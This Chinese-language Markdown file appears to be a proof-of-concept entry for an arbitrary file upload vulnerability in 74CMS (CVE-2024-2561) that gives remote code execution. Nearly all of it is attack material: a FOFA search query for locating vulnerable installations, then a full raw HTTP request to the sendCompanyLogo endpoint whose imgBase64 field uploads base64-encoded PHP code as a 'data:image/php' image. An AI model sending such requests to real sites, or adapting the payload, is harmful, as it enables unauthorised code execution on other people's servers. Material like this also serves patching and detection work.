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44 lines
1.9 KiB
Markdown
44 lines
1.9 KiB
Markdown
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# 74CMS存在任意文件上传漏洞(CVE-2024-2561)
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74CMS存在任意文件上传漏洞(CVE-2024-2561)，漏洞地址存在与sendCompanyLogo文件中/controller/company/Index.php#sendCompanyLogo的组件Company Logo Handler。经修改后的参数:imgBase64恶意代码输入可导致rce。
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## fofa
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```javascript
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app="骑士-74CMS"
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```
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## poc
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```javascript
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POST /v1_0/company/index/sendCompanyLogo HTTP/1.1
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Host: localhost:7888
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Cache-Control: max-age=0
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sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "macOS"
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
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user-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
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Cookie: qscms_visitor=%7B%22utype%22%3A1%2C%22mobile%22%3A%2215212345678%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ%22%7D
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 56
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imgBase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
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```
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## 漏洞来源
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- https://gist.github.com/Southseast/9f5284d8ee0f6d91e72eef73b285512a
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